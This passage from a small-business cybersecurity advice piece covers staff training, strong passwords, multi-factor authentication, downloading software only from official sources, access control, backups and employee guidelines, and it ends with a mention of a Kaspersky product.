Another key step toward cyber resilience is promoting awareness about the importance of comprehensive security procedures and ensuring they are regularly updated. Regular security training sessions, strong password practices, and multi-factor authentication can significantly reduce the risk of phishing and fraud.

It is also worth noting that searching for software through search engines is an insecure practice, and should be prohibited in the organization. If you need to implement new tools or replace existing ones, make sure they are downloaded from official sources and installed on a centralized basis by your IT team.

Cybersecurity Action Plan for SMBs

1. Define access rules for corporate resources such as email accounts, shared folders, and online documents. Monitor and limit the number of individuals with access to critical company data. Keep access lists up to date and revoke access promptly when employees leave the company. Use cloud access security brokers to monitor and control employee activities within cloud services and enforce security policies.
2. Regularly back up important data to ensure the preservation of corporate information in case of emergencies or cyberincidents.
3. Establish clear guidelines for using external services and resources. Create well-defined procedures for coordinating specific tasks, such as implementing new software, with the IT department and other responsible managers. Develop short, easy-to-understand cybersecurity guidelines for employees, with a special focus on account and password management, email protection, and safe web browsing. A well-rounded training program will equip employees with the knowledge they need and the ability to apply it in practice.
4. Implement specialized cybersecurity solutions that provide visibility and control over cloud services, such as Kaspersky Next.